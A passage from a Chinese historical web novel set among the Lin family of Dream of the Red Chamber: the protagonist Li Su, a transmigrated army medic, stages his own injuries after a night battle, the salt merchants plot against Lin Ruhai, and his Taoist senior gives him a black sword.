“他罪不至死!” 李固慌忙解释。 李素丝毫没有停顿,就在和尚惊恐的目光中。 “啪!” 石头就砸在了他的脑壳儿上,和尚登时就晕了过去,鲜血顿时流了出来。 再见李素,紧接着抱起和尚的脑袋就把鲜血往身上,脸上涂抹,直到血已经不再往外流了,李素才罢手。 在李固的眼中,此时李素好像是个血人,看起来凄惨无比。 “爹,我有数,和尚没事儿,他血厚!” 他确实有数,他一石头砸下去,根据位置力度不同,完全可以控制昏不昏迷、血量多少、疼痛程度、乃至于留不留疤,这就是他一个军医的素养。 “唉!” 李固被他这一声爹叫的,身子都酥了半边,嘴巴乐的都快咧到后脑勺了。 他站起身,就往怀里掏,但他是出来做买卖的,哪带什么银子了? 就在李素诧异的目光中,李固好像想起了什么,从脖子上摘下个被一根红绳儿拴着玉佩,伸手递给了李素。 “素……儿,儿子,这是你娘的遗物,你,你带上。” 李素拿过来,入手玉质温润,借着火光看了,只见玉佩如雀卵大小,竟是栩栩如生一条的游鱼,鱼身与鱼尾勾成半圆,竟似一个完整的阴阳鱼,少了一半。 这时拿到手中,才见红绳乃是金丝、银丝、红线共同编就。 自己这母亲不一般啊!以后有机会好好问问。 看罢,李素就直接戴到了自己的脖子里。 “爹,你坐。” “唉,好,好,哈哈哈。” 李固四下里看了看,一屁股蹲在了和尚胸口,昏迷中的和尚腿又蹬了两下。 自家兄弟,用用无碍。 李素眼角抽了抽。 随后,沉声说道:“爹,咱们现下不是叙话的时候,你回去把盐龙帮散了,对外就宣扬你被杀了,以后别再走私盐了。” 这儿子说到自己心里去了,李固开心道:“儿子,我也是这么想的,我不死不行了!我已经收了十八家的货银,他们这回货没走出去,人还死了。” “肯定找我要银子,那是老子……不,老爷我留给你的,怎么可能给他们?” 李素笑了,这爹能处! 李固说到这里,忽然皱眉:“老爷我……换个名儿不就行了?不走私盐,我做什么?” “林如海以后是你亲家,你确定要跟亲家对着干?” 李固愣了一下,随后眨了眨眼睛,磕磕巴巴道:“你说,说的是真的?那……那,不能够!不然咋见面?哈哈哈,盐咱不走了!不走了!” “见面暂时别想了,你刚才追着他打,要不是我拦着,这辈子不可能再见面了。” “是他!?” 李固被李素这句话干沉默了。 李素不管他的内心戏,接着问:“爹,这回损失大吗?” “呃,赚大了!呵呵。” 李固心里一盘算,比过去五年赚的都多,又乐了。 接着又道:“就是不知道跑掉多少人。” 李素点点头:“手里的盐暂时也别动了,接下来朝廷会有大动作,这段时间好好拢拢人,造船!买炮!以后做海贸生意。” 李固皱眉:“那能行么?我听说市舶司可黑,还有倭寇海盗。” “官面上我来搞定,至于海盗倭寇,练兵,杀!” 李固缓缓点头,一拍和尚的大腿,下了决心:“行,就听儿子的。” “回头我让和尚给您送个练兵操典,咱们慢慢来,不着急。” “好,你砸和尚作甚?是不放心他?”李固现在才想起来问这事儿。 “爹,您圣明!” “哈哈哈……这,害!” 被李素这一句话,又捧的心里好像开了花,有儿子的感觉真爽! 但是李素不能天天在自己身边,他有点儿嫉妒林如海了。 尤其自己儿子长的这般好,像婆娘,除了瘦了点儿,没一点儿瑕疵。 越看心里越高兴,他忽然想起什么,随之语重心长的说道:“儿子,和尚是可信的,我跟他能托命!这话你记着。” 李素点头,他只是觉得李无色今晚有些鬼祟,尤其脸上还涂灰,是摔的还是涂的,自己还看不出来么? 所以先把他打晕了,不想让他听自己跟李固的对话。 “唔……闷…谁压我…”和尚醒了。 李固赶紧起身:“无色,你没事儿吧。”随后扶着他坐了起来。 和尚晃了晃脑袋:“疼,素哥儿,为何砸我?” 随后他缓过神来,委屈的看向李素。 李素冷声道:“你是我的随从,消失了大半天,没有一点儿伤,你让林大人怎么想?” “这?”李无色无言以对。 “你既然不服气 ,来,打我! “啊?这不必了吧。”和尚一愣,这……这么地道吗?好似不是李素为人。 李固也劝道:“儿子,不用,都是自己叔伯,随便打打,不是什么大事儿。” 李素坚持,正色道:“爹!你做个见证,既然是叔伯,就不能打,这是规矩。儿子打了叔伯,必须偿还,不然咱们以后一别两宽!” 这话太狠了,李固看看和尚,看看李素。 搞不清楚刚才还好好的儿子,怎么就突然发了癫了? 呃,是了! 他想起来,儿子的养父母死后,他也昏了过去,大约有些后遗症。 李固脑子里,来来回回的琢磨着前因后果,这是想收和尚的心么?没必要啊!是了,他跟和尚相处日短。这孩子疑心病有点儿重。 那,帮儿子一把! “打晕我!把我扛回去,这事儿咱们就了了。” “快!打!” 李素抓着和尚的衣襟,死死盯着和尚的眼睛。 和尚情绪复杂,正不知道如何是好的时候。 忽然就见李素身子一软,两眼一闭,倒在了地上。 “算你打过了,以后好好对他。”李固背着双手对和尚说道。 刚才这一下用手砍在李素的后颈上,别提自己的心有多疼了,这跟刚才打儿子不一样。 和尚面色复杂:“老大,没必要的。” 李固叹了口气:“孩子仁义,就这样吧,对了你回头儿问问素哥儿,以后咱做正经生意,叫个啥名儿。” 和尚点点头,看了看不远处的呼喊声,火光绰绰。 “大当家,我走了,你保重。” 说完,他背起李素就奔着火光处而去。 李固看着定睛看了一会儿他们消失之处,随后长吸了一口气,转身没入了黑暗。 混乱的夜,萧杀的夜。 谁也不知,天下大局,就从这小小扬州城的一夜开始,偏离了走向。 此时林府之外。 黄颉蒙着面,带着一群杂碎跟季宗的盐丁们已经厮杀到了一起。 他发了狠,反正也也活不了了,带着满腔的恨死命砍杀,季宗和盐丁们脑子里,冯富冤魂未远,也死命的砍杀。 刀刀见血,这里竟然成为了今夜最为惨烈的战场,不似渡口那一边倒的战场。 惨叫声,厮杀声,也随之不断的传进林府之内。 听着外面的声响,贾敏搂抱着黛玉,面色有些苍白,他担心万一出事儿,女儿怎么办?更忧心在外的林如海和李素。 “母亲,我不怕,母亲也不要怕。” 柔弱娇小的黛玉此时,竟然表现出来出乎意料的坚强,反而安慰起了贾敏。 贾敏听得黛玉此言,好似担忧之心尽去,她笑了。 “你比母亲还要坚强,我小时候,你外祖父经常带兵在外,有时回府,身上的血渍还没干,我见了以后就有些怕,都是你外祖母安慰我。” “不曾想,今日里,却又是女儿来安我的心了。” 说着她轻轻揉了揉黛玉的脑袋:“我和你父,今世里有玉儿真好。” 黛玉伸臂环抱母亲,抬头抿嘴儿一笑:“玉儿的福气更大呢,不过母亲休哄我,当我不知,你是在担忧父亲和我小师父么?” 贾敏闻言,内心一阵骄傲,又抱过她来:“我的玉儿,真是聪慧之极,竟然猜到我心里去了。” 黛玉不言,目光毫无焦距的看着恍惚跳跃烛火,暗道:我的担忧也是如此呀。 不知父亲和小师父,是否安好? 林如海此时老泪纵横,带着一队盐丁和部分江南大营的人马,秉着火把,在江边黑暗的树林中四处奔走,疯了一样呼喊着李素的名字。 第29章 一夜三惊 “老爷!前面!前面!” “快!” “前面是谁?” “过去!过去!” 很快,和尚踉踉跄跄背着李素的身影,出现在了众人视野中。 “大人!是李爷!” 随着盐丁大喊,林如海像疯了一样奔了过去,李素为救他而引走贼人,如果李素死了,他真的不能原谅自己。 火光中,满头血的和尚,流着泪,冲着向狂奔而来的林如海咧嘴一笑。 “大人!小神仙救回来哩。” “妙言……妙言!你怎么了?”林如海随后就看见了,变成血葫芦一般的李素,整个人顿感天旋地转。 幸好两旁盐丁搀扶着才没倒下。 他硬挺着悲伤,跺脚大叫:“快!最好的大夫!都叫来!”忽然他又想到了什么,又补了一句:“还有琼花观!” 随后,林如海也挺不住了,精神和体力都到了极限,见到李素,这口气稍微一松,随之软倒在了盐丁的怀里。 而随后跟来的江南大营参将杨间,见此状况,叹了一口气:“林大人,我真是欠你的啊!得加钱!” 随后他向左右大喝:“送林大人回府!” 林府。 贾敏和黛玉面面相觑,外面的声音停了? 围在一旁的丫鬟小妾也停止了抽噎,面色惊惶。 一时间屋里变得好像变得落针可闻,只有叉腿站在贾敏和黛玉前方的雪雁,不时的打着哈欠。 这是? 贾敏心里咯噔一下,该不是自己人死完了吧? 想到此处,贾敏转身急道:“玉儿,快,去地窖!” “母亲不去,我也不去!”黛玉坚定。 “夫人!”其余小妾丫鬟哀呼,一时抽泣声又起。 贾敏握紧黛玉的手,狠声看向她们:“你们闭嘴!” 随后她也不管屋里其他丫鬟小妾,拉起黛玉的手就往屋外奔。 刚出房门,就听急促的脚步声传来,然后有人大喊:“夫人,贼人退了!” 是林忠! 很快,林忠满头大汗,跌跌撞撞的跑了来,到近前喘息未定就开口道:“夫……夫人,贼人退了,巡抚衙门的人来了,把人全部抓走了。” 贾敏听完,心顿时完全落了地。 她还未开口,黛玉忽地问道:“死伤如何?” “额,咱们护院和盐丁死伤三四十。” 贾敏一愣:“盐丁?他们怎么来了?老爷呢?” “盐丁的班头儿季宗,亲自带了百十人来的,说是小神仙担心府里,就派了他们来。” 是李素,救了这个家! 母女二人脑子里同时这样想到。 二人抬头看着黑漆漆的夜空,此刻看去竟充满了思念,不知道那头的人怎样了。 贾敏心中有点儿想念李素这个孩子了。 黛玉这个孩子心中也有点儿想师父了。 “我就说小神仙有法力哩,他会算。”雪雁的小脑袋从背后探了过来,呵呵笑着。 贾敏笑了,伸手揉了揉她的小脑袋,看向林忠:“那老爷怎么样?” “季宗说老爷好着,有人抬轿有人护着,夫人和姑娘不必忧心,他们来时,老爷跟小神仙正在追剿贼人。” “刚才的贼人死伤多少?余多少?”黛玉忽然开口。 林忠有点儿诧异黛玉竟然关心这些,他想了一下道:“贼人约么死了也差不多三四十,剩了十余个,也大部分带着伤。” 黛玉蹙着眉头道:“巡抚衙门不该来的时候来了么?回头把这些都跟父亲说仔细了。” 林忠正色称是。 贾敏挥了挥手,让林忠下去了。 她牵起了黛玉的手,仔仔细细打量着自家姑娘,就好像头一次见似的,贾敏眼中含着莫名的喜悦,又有丝丝遗憾。 “母亲~”黛玉禁不住贾敏的目光,忍不住叫了一声。 贾敏笑道:“我儿临危坚毅而有静气,心清而智明,若是男儿身,定能成就大功业,但即是女儿身,将来也必是贤内助。” “哪有~不理你了。”这次黛玉真的被母亲夸赞的害羞了,尤其那一句贤内助,扭身就要往屋里逃走。 贾敏噗嗤笑了出来,这小女儿态才对嘛,刚刚整的她都有些不适应了。 听闻贾敏的笑声,黛玉逃的更快了。 但就在此时。 林忠的一声嘶喊再次传来。 “夫人,不好啦,老爷晕倒了,小神仙也坏了!” 贾敏闻声呆立当场,而正在逃走的黛玉一个趔趄,扎进了丫鬟碧荷的怀中。 林府,一夜三惊。 三更天。 琼花观。 正在熟睡的观主,忽然被一阵砸门声惊醒,随后就听有人喊道:“师父,师父!小师叔受伤,林府让你去救!” “什么小师叔 ?滚!” “李素小师叔!” 妙善忽然想起来,自己刚收了这么个师弟。 但听是李素的事儿,顿时更气了:“我管他死不死,为何叫我去?谁把我会医术的事儿传出去的?” “来人说,他们把扬州城的名医都叫了,听说您是他师兄,所以就让您也去一趟,林大人亲自吩咐的。” “不去,让他们走。” 李素的事儿,他是一点儿也不想沾,早就预料是个大麻烦。 “可是他们拿着刀,刀上有血!” 妙善登时窜了出来:“你怎么不早说?快走!” 随后边穿衣服边往外跑。 这一夜,注定了是一个不眠之夜。 对扬州的八大盐商来说更是如此。 此刻各家的家主,全部聚在了黄家,就在黄家的安贞堂内,此时一个外人也无,只有八个家主坐在堂内。 堂外百步以内,被完全清空,一队队巡更护院来回走动警惕的看着四周,暗处还有人举着弓弩监视四方。 堂内气氛极为压抑,黄家家主的面上更是黑的能滴出墨来。 “老黄,这次你黄家必须要给我们一个交待,不是大伙儿为难你,而是换了你,你会怎么办?” “是啊,咱们这哪家不是几百口人要养?这以后吃什么?吃你老黄的么?” “饭没吃成,把锅砸了,黄成尧,你他娘的干的什么事儿啊?” “不说别的,就说你让咱们老老实实去干那官盐的买卖,一年能赚多少?谁算过?” “嘿,老子还真算过,以我们汪家的份额,一年能赚七百二十八两,连个瘦马的毛都买不到。” “呸!老汪,你见过哪匹瘦马还带毛的?你的吊毛黏上去了么?” “哈哈哈哈!……哈哈。” 这些人,虽然着急,但最急的是黄家的人,要死也是先死黄家,他们巴不得看乐子。 砰! 哗啦! “行了!都闭嘴!” 只见是吴家主,吴安良,砸了桌子怒视众人。 现场顿时鸦雀无声,如果说黄家的盐引份额是最多的,那么吴家就是官面资源是最多的。 他们可以不给钱面子,但却不敢不给权面子。 第30章 如花带雨 “老黄你来说!但废话就不要说了!”吴家主阴沉着脸看向黄成尧。 黄家主点点头,缓缓出声。 “我家老二自幼疯癫,今夜就会在牢里畏罪自杀,以消林如海之恨。” “稽查营凡是为我们做过事的,家中今夜会全部失火,断绝一切可追痕迹。” “瓜洲渡口一日不能走货,我黄家每月给银十万两给各位,以补偿各家的损失。” 黄成尧说完这些后,闭口不言。 “不够,这些不够!”吴家主摇摇头。 汪家主嚷道:“对,不够!十万两?打发要饭的呢?” 吴安良瞪向了他:“汪麻子,你闭嘴!老夫说的不够,不是银子!” “啊?那还有啥?” “吴大哥,我来说说吧?” 吴安良看去,是宋家的宋出云,他们家的份额是最少的,这些年他们宋家几乎都快放弃盐业上的买卖了。有些诧异他会发言,但还是点头同意他说话。 宋出云向众人行了个礼,随后道:“首先,京里的老爷们,黄家要负责安抚,给老爷们交待。” 吴安良点头:“这是自然。” 黄家主也点头同意,这是分内的事儿,他们自己接了任务,收了银子。 “其次,江南这些往日在盐道上获益的老爷们,黄家也要负责安抚。” 见吴安良颔首,黄家主再次咬牙点头。 宋出云面色开始变得更加沉重,声音变高:“最后,这次事情很严重,洗牌是必然,同时皇城里的那位必然会严查,不止是严查今夜是事儿!” “各位试想,今天既然被抓到了,那位肯定会想,以前没被抓到的有多少?包括以前的偷了多少?谁偷的?谁掩护?谁包庇?” “各位不要想着那位会放下此事,他当王爷的时候什么样子,各位都清楚!” 众人心里打了个突,都记得那个绰号:冷面王! “你到底想说什么?”吴安良听他说完,面色更加难看。 宋出云向吴安良一拱手:“我想说的是,以前大家留下的尾巴,也要清除,同时做好夹起尾巴做人的准备。” 现场顿时沉默了下来,现在经过宋出云一分析,他们那看热闹的心态顿时变得无影无踪,没想到这刀竟然已经架在了自己的脖子上了。 可是清除的话?有不少已经成了自己在官面上的狗,有的都开始要自己巴结了,真不好下手啊! 没人说话,都不约而同的盯着黄家主,那眼中的恨意,都快把他给戳瞎了。 黄成尧不由得打了个冷颤。 眼见天都要亮了,吴安良打破了沉默:“最后一件事太大,我们再议吧,散了。” “我再提醒一下各位,谁先断尾,谁先安全。”宋出云又补了一句,转身率先出去了。 其他人被宋出云最后一句话说的心中冰冷,他们沉默着随后也站起身来,再也不作声,出门离开。 屋里只剩下了吴安良跟黄成尧二人。 黄成尧站起来对吴安良深深一礼:“吴大哥,此次多亏你了,否则我黄家必然被这些王八羔子给撕碎了。” 吴安良一摆手,阴声说道:“不说废话!解决问题,还是要解决人。” “啊?刺王杀驾?” 黄成尧面色瞬间苍白,差点儿跌坐在地上,这活儿他真干不了。 “你是猪脑子!我说的是林如海!”吴安良恨铁不成钢的看着他。 “呃……嗯,哈哈,着啊!对方死了,就会乱,我们就能浑水摸鱼,嘿!还是吴大哥看的准,今日是我失了方寸了。” 吴安良声音放的更低:“你要好好筹划,可以缓,但一定不要留下把柄、口舌!否则早晚还要完,因为他现在对那位皇帝太重要了,否则一个牵怒,就能把我们都栽进去。” 黄成尧这才好好思索吴安良的话,缓缓点了点头。 吴安良不再理他,缓步走出了房门,望着蒙蒙发白的天空。心说,黄老弟你反正已经很脏,不差再干这一件脏活儿了。 宋出云此时也在抬头看天,心说爹啊,我已经按你说的,打了草,就是不知道这蛇能不能惊起来?这槽到底能不能跳成啊? 自古墙头草可没好下场! 原本还能抱成团的盐商们,自这一夜起,团崩了! 李素也没成想,自己就出了个主意,让林如海请了江南大营。杀了一个混子,收拢了二百盐丁。 八大盐商竟然都开始了分崩离析。 李素感觉不对。 他极力睁开眼,随后大惊道:“师……师兄,你摸我作甚?” 嗓音嘶哑。 妙善面色复杂,抓过薄被给他盖了起来,然后才开始说话。 “我不是摸你,我是验伤,你小子血池呼啦的都看不见人模样了,我不得检查一下你身上的伤?” 接着他忽然语气一转:“感觉怎么样?疼不疼?” 李素一摇脑袋:“你说话别这么娘,我不疼,但开始恶心了!” 但他没功夫恶心,因为更娘的来了。 “妙言,你醒了?感觉如何?” 在一旁发呆的贾敏听到动静就扑了过来,拉住李素的手,紧紧的握着,一脸的焦急。 李素大为感动:“师……师娘,我无碍,师父如何了?” “你师父无事?玉儿正在陪……” “父亲又睡过去了。” 黛玉从贾敏身后冒出了头,眼睛里亮晶晶的看着李素,那喜意都要溢出来了。 贾敏补充道:“对,你师父听大夫和妙善观主说,你只是脱力昏迷,没有大碍,心放了下来,就睡了过去。” “那就好。”李素咧着嘴笑,感觉真好,有人关心真好。他看看贾敏再看看黛玉。 妙善? 已经被挤到一边去了。 贾敏看着面无血色,脸上青一块紫一块的李素,脸上的泪又流了下来,握着李素的手紧了又紧。 “这次多亏有你,救了你师父不说,又派人救了我和玉儿,救了咱们府里这上百口子人,师母要好好谢你。” “啊?真有人来来府里报复了?!!”李素一惊,猛的坐起身来! 他后怕不已,后脊梁上,冷汗一阵阵往下流! 多亏当时灵机一动,而且动机还是为了李固。 没想到,真的让李固脱了险,还救了黛玉,救了贾敏。 这真是天意了,李素不由得感谢冥冥中的存在,玉皇大帝、如来佛祖、三清道君、甚至上帝、阿拉都默念了一个遍。 不住的提醒自己,以后不管做什么,一定要先考虑守好家! “约么五六十号歹人,盐丁死伤三四十才守住了,多亏小……小师…兄。” 黛玉说完就被自己称呼逗笑了,但又注意到李素的大花脸,心中不由得一疼。 眼前的小师父,小师兄,比自己大不了几岁的哥儿,不惜性命救了父亲,更因为念着自己和母亲,使自己和母亲才没遭贼祸害! 而他自己却……忽然她很想去摸摸李素脸上的伤。 想到这里,她鼻子一酸,眼泪,就止不住的往下滴。 而此时笑容却还没走。 笑颜如花,泪流带雨。 见黛玉如此模样,李素抬手指她:“玉儿哭起来还笑的这般好看,师母,这都是您小时候也是这模样么?师父真是好眼光。” 一句话夸三人。 黛玉眼泪忽的停住了,白了他一眼,偏头过去偷偷擦拭,看她耳尖颜色,就知是害羞了。 贾敏笑了,她抹了抹眼泪,随后弯身轻轻的拍了拍李素的脸:“你这孩子,这时候还想着逗师母笑。” 眼里的宠溺之情,难以言表,她真的太喜欢这个孩子了。 李素被温暖了。 轻声道:“师母,玉儿,你们也受惊了,想必一夜未眠,快去歇息,我无事了。” 贾敏不忍拂了李素的意,笑着点头。 夫君无恙,李素无恙,家里无恙,一切都还好。让她的心此刻完全松了下来,困意也开始上头。 她直起身子,又从丫鬟手中拿过热毛巾,给李素轻轻擦拭了脸,扶着他的身子道:“你快也躺下歇息,你歇了,我和玉儿就回了。” 李素顺着贾敏,就再次躺了下去,随后不再想其他,酸疼疲累很快袭来,他再次沉沉睡去了。 恍惚间,好像有个声音,慢声细语:“你歇吧,我和母亲就回了。” 随着贾敏给李素放下了帐子。 后面的妙善一时间拿不准主意,自己是走还是留? 第31章 温情满溢 妙善观主在房中转了几圈儿,扛不住碧荷审视的目光,还是回去了。 房中再次陷入了静谧之中。 李素再次醒来已是午时,这一觉睡的通透,而且没有做噩梦! 精神上的疲惫,也尽都已经去了。 巴适的很! “啊!~…!!!…の~”他不由得发出一声悠长九曲十八弯的呻吟,同时伸了个暴爽的懒腰。 “扑哧…格格…库库库……” 李素一惊:“谁……谁在外面?” 随后他的帐子被从外面撩开。 贾敏满面含笑的出现在了他眼前:“妙言醒啦,饿不饿?” 只是那笑容,怎么看都藏着些揶揄,而且不用想都知道,刚才就是那俩小尾巴跟班笑的。 尴尬! 此时再装睡已经来不及,脚没踩地,也抠不出三室一厅。 但李素,素有急智。 “师,师母啊,我做梦了,呵呵。” “梦见什么了?” 黛玉明媚的小脸儿从贾敏左侧面露了出来,随后右侧又出现了雪雁的小脑袋,充满了好奇。 李素仰头望着帐顶,做回忆状:“我梦见啊,两只小母鸡半夜打鸣,吵醒了隔壁的鸭子,于是被小狗给撵了,一头扎进了牛棚里,被猪顶了出来,气的格格叫。” 她们三人开始听,还以为李素真的做梦了,对他这梦里的故事惊奇不已。 听到后来,贾敏瞧瞧黛玉,再瞧瞧雪雁,就再也绷不住,扑哧笑了出来,随后捂嘴扶着李素的床头,乐的都直不起腰了。 黛玉则从小嘴微张,到后来越张越大,最后羞红脸蛋儿。 啐了一口,自己也格格的笑起来。 而雪雁,一直震惊的瞪大双眼,一直专心听故事,最后还问了一句:“那后来呢?” 黛玉笑的上气不接下气,颤抖的小手指着雪雁道:“你…你应该问,吵醒了的是哪一只呆鸭子呢?” “扑哧…哎呦~雪雁你快问呐…格格……” 说完黛玉就再也站立不住了,半倚在了贾敏身上。 贾敏本来刚好一些,被这一下,引的又笑将起来。 于是贾敏扶着床头,黛玉倚着贾敏,二人笑的似扶风摆柳,美不胜收。 素:o((⊙﹏⊙))o。 待她俩笑的差不多了,已经开始收声。 雪雁好似反射弧长了一些,而她,才开始! 嘴巴一咧,呵呵呵。 母女二人,又被雪雁给逗笑了。 李素也笑了。 秋高艳阳,房中欢乐满溢。 好半天,贾敏拭去眼角笑出的泪花,对左右两个尾巴说道:“你们不许再说话了,妙言还没进食呢。” 随后满脸宠溺对李素说:“师母也不知你爱吃些什么,我就让厨房做了牛肉羹、蟹粉狮子头、拆烩鲢鱼头、白汁鱼羹、松鼠鳜鱼、文思豆腐……” 贾敏喋喋不休的细致,这种关心温情,让李素极为喜欢,又怀念起了自己的母亲。 也只有从心里发出的真情,才能如此细致的记着,更何况贾敏本就是个不理琐事的主母,此时对他却不厌其烦。 他鼻子酸了一下,笑看贾敏回道:“师母,我都喜欢,这就起床。” “那就好,我就放心了。”贾敏松了一口气。 随后她转头向碧荷道:“快去,安排人给妙言端来。” 碧荷匆匆去了,贾敏又道:“你起来就让玉儿她俩服侍你洗漱,就先用饭。你师父去衙门了,他走的时候还念着你,我一会让林忠派人去给他报个平安。” 李素再次点头:“师母,不用操心我了,也不用玉儿她俩,毕竟不是太方便,我有和尚照应着就够了。” 听到李素这话,贾敏又嗔怪起来。 “你说你,怎么也要有个细心的丫鬟照应才行,怎么就找了个和尚?我知你志向高远,但也不必如此苛求自己!” 贾敏说着就站了起来,声音渐高:“就说我那二兄家的宝玉,身边都跟着三四个照应的丫头,更不用说健妇、小厮厨子了,咱们府里虽不比国公府,但也是四代列侯之家,难道还养不得一个公子哥儿了?” 随后她好像赌气斗富一样:“妙言,这事儿就依着我,他配四个,咱就配六个,他配丫头咱就配姑娘!” 黛玉忽然感觉有点儿看不懂母亲了,搞不太清楚她这劲儿是从哪儿来的。 李素却是心下明了,大约是跟那个王夫人憋着劲头儿。而且看的出,二人之间的事儿不少。 远隔千里都要杠! 为了杠,连黛玉都要派出来当丫鬟,这股子狠劲儿,真不愧是武勋国公小姐。 不能让她继续再说! 否则还没出新手村,就掉到脂粉堆了。 “师母,师母,过了,咱要比就比功名,比出息,比好看,再不济比武功也行,比那些都没出息。 你徒儿我可是斗过匪首的,还缴了他一条拐!” “您就好好看着徒儿给您争气!只要那什么破玉,敢出现在我面前,我天天揍的他鼻青脸肿,连他娘都认不出来。” 贾敏听罢,都笑的合不拢嘴了,就觉得这孩子贴心,太熨帖了,重点就是他娘。 “好!好!师母就依你!” “哎呀,你看我这啰嗦半天,都影响你用餐了,我们这就先回了。玉儿,你怎么也不知道提醒我?” 说罢捏了捏黛玉的小脸儿,不待她造反,拉起她的小手就往外走了。 黛玉出门前,又回头瞧了一眼李素,嘟着嘴巴随母亲去了。 李素赶紧从榻上窜了起来,只觉一阵眩晕,差点儿没摔倒,紧接着就感受到了强烈的后遗症,浑身酸痛。 这是饥饿加肌肉拉伤导致的,还有一部分是被亲爹揍的。 “和尚!和尚!快来扶一下你大侄子!” 和尚脑袋上顶着这个大白补丁就进来了,远看就像是个孝帽子。 李素强忍着笑,他不是担心和尚恼,而是一泡尿憋的时间太长,怕流产。 “素哥儿,去哪儿?”和尚架住了李素的一条胳膊。 “wc!” “哪儿?” “厕所!快。” …… 等从厕所回来,和尚扶着李素坐下来,又给他倒了一盏茶,随后去打水伺候他洗漱。 “不是,你先回来。” “咋?” “昨晚是不是有人给我洗过身子了?是谁洗的?” 李素醒了以后,发现身上的污渍全无,那肯定是被洗过了,谁洗的很重要。 和尚摇着脑袋说道:“夫人安排的,没让我进屋,具体谁动的手,我也不知道。” “都是小丫鬟?没男的?” “丫鬟小不小我更不清楚,但没男的。” 李素放心了,端起茶喝了一口。 和尚端了水过来伺候他洗漱,等洗完,刚好丫鬟小厮就拎着饭盒到了厅里,李素狼吞虎咽的吃了起来。 等吃饱喝足以后,李素让他们都下去,单独又留下了和尚。 “叔儿,你是不是有什么事儿瞒着我?” 和尚点点头:“嗯,挺多的,也不是瞒着你,而是你没问。” “那我现在就问,你是不是跟我师父是旧相识?” 和尚一愣,看着李素道:“你瞧出来了?” 第32章 烟雨迷雾 李素嗤笑一声。 “我又不瞎,你夜黑摔倒蹭的灰,跟你自己往脸上抹的灰,这其中的区别我能看不出来?” “走的急,失了仔细。”和尚羞赧。 李素拿拐戳戳他:“不说?不交待?” 和尚沉默。 “你救过我爹几次?” 和尚一愣,这思路跳跃有点儿大,不明所以,但还是很快答道。 “三次” “我爹救过你几次?” “十三次。” “还不说?”李素又戳他,这回戳胸口。 和尚有些不可思议的看着他。 “素哥儿,你挟恩图报”?”他那诧异的声音都拉出尖儿了,一双牛眼瞪得像铜铃。 “你看,你是能听懂的。”李素乐呵呵的看着他。 和尚面色发苦,脸上都挤出褶子了,无奈站起身对李素行礼,郑重道:“素哥儿,我早晚会告诉你,但这事儿是我个人的私事,与大当家、与盐龙、甚至与林大人的官事都是不相干的,只是我不想提。” 李素伸了个懒腰:“行吧,别骗我,不然把我爹的拐塞你腚眼儿里。” 和尚面色复杂的看了看他:“你那养父母去后,真的像是变了一个人,就像是被妖怪附了体。” 李素的心砰然猛跳了一下,面不改色甩了他一句:“你是不是也觉得我变聪明了?” “是变不要脸了。” “李无色,你再说一句?!!”李素举拐。 和尚眼皮一耷拉,开始念:“你,志比天高、慧比海深、风姿俊逸、儒雅随和、貌比潘安、气死卫阶……” 这就对了,李素翘着二郎腿,闭着双眼,在椅子上半躺下来。 大和尚见李素好似睡着了,就想开溜,谁知他的声音刚停,就听李素就在催更。 “继续,别停!” 大和尚无奈,念经声再起:“你,积石如玉,列松如翠、郎艳独绝,世无其二、谦谦君子德,磬折欲何求、言念君子,温其如玉、瞻彼淇奥,绿竹猗猗……” 直到他嗓子都快冒烟儿了,匆匆而来的林忠救了他:“素哥儿,您师兄来了。” 林忠改了称呼,不再称小神仙,这是真拿李素当府里公子对待的信号。 李素一撑拐,站了起来。 “让他进来就是,不用忠叔再走一趟,昨夜你也劳累,多休息。” 他也改称呼,不单是因为林忠主动改称呼,而是他已经清楚,自己与林府,无论关系利益还是情感,都已经无法再分割,这是他自己家了。 “好,好,我去请他。”林忠笑的很开心,匆匆而去。 不一会儿,妙善风风火火的跑进来:“素哥儿,看我给你带什么来了?” “嗯?怎么有个和尚?还带孝?”妙善皱眉道。 和尚怒目!你全家才戴孝! 李素心里不快,和尚跟他关系更近,斜眼看他,声音发冷:“师兄,请叫我师弟,这是我的小厮。” 妙善没把李素的情绪放心上,乐呵呵的看了看和尚。 “嗯嗯,素…师弟,好,小厮好!哈哈,你比我强,比我师父强,都能用的起和尚当小厮了,他们一向把咱道家当穷鬼看的,哈哈哈,办的好,以后见了道祖,我有话说。” 妙善边说,边打量李无色,好似在看个宝贝。 李无色撇撇嘴:“老子还俗了。” 妙善也撇撇嘴:“你是叛逃了。” “无色你先去吧,回头继续来念。” 还念? 大和尚面色一变,逃命似的,瞬间不见了踪影。 李素看着他离开,心说早晚揭了你的锅。 能用不重复的词夸人,并超过一炷香的时间,而且这些词分别出自诗经、先秦遗传、曹植,甚至宋朝不太出名的郭茂倩,试问这世上能有多少人? 绝对不多,能和林如海有过相识,那么他一定考取过功名。 怎么就当了黑社会呢? “师弟,来看看,这是何物?”妙善打断了李素的思绪。 “一把剑。” 李素看着妙善手里拿着一把剑,剑鞘也没什么特别的,外层就是普通皮子制成,黑黢黢的也不是多雅观,剑柄也是黑黢黢的。 李素又补了一句:“黑黢黢一把剑。” 妙善摇头道:“这可不是普通的剑,” “确实不普通,它黑!” “给你看看它的真颜!” 只见妙善忽然拔出剑刃,拔剑无声,不似一般宝剑,要么嚓、唰、的一声,要么苍浪一声。 再看真颜,还是黑!剑刃也黑?这真的让李素好奇了。 妙善随后咬牙薅下了自己几根头发,拿到剑刃之前,用嘴一吹,只见头发从中间断开,随后飘飘落地。 李素瞳孔一缩,随后大喜,还真有这样的神器? 吹毛断发! “素哥儿,如何?”妙善看着李素那我想要的表情,面上快笑开了花。 李素也不计较他对自己称呼,惊喜的看着妙善。 “多少钱?” “你以为这就完了?还有这个。”只见妙善从怀里掏出了一本古旧的书册,递给李素。 李素接过来,不由得开口问道:“这都包浆了,是哪一届的师祖盘的?” “不可考。” “《子午剑》?这能管用吗?”李素想起了妙善那一柜子新书。 妙善也不解释,直接开口道:“配套剑法,这把剑也叫子午剑!” “这么黑,叫子午剑?晒黑了么?师兄说吧,是不是遇到困难了?这么贵重的剑都拿出来卖了,师弟也不占你便宜,这种祖产我占了不好,我拿银子租。” 妙善见李素不贪,心中大快,虽然就是要送给他的,但还是问了一句。 “你多少银子租?” “十万两怎样?” 妙善欣慰点头,不管有没有银子,这孩子都地道,但他只猜中了开头。 李素从他手里把剑接了过去,还剑入鞘,随后说道:“就租一百年吧,租银分期付,月付,每个月就是八十三两,我现在就给你拿银子。” 妙善苦笑一声,摇了摇头。 “剑送你了。”随后,他又深深看一眼李素,转身向外就走。 李素一怔,拄着剑就跟出门。 外面不知何时,飘起了细雨。 “别送了!” 已经走到院中的妙善甩下了这么一句,随后就拐出了院门。 随后雨中,传来了妙善的大笑声,久久不息。 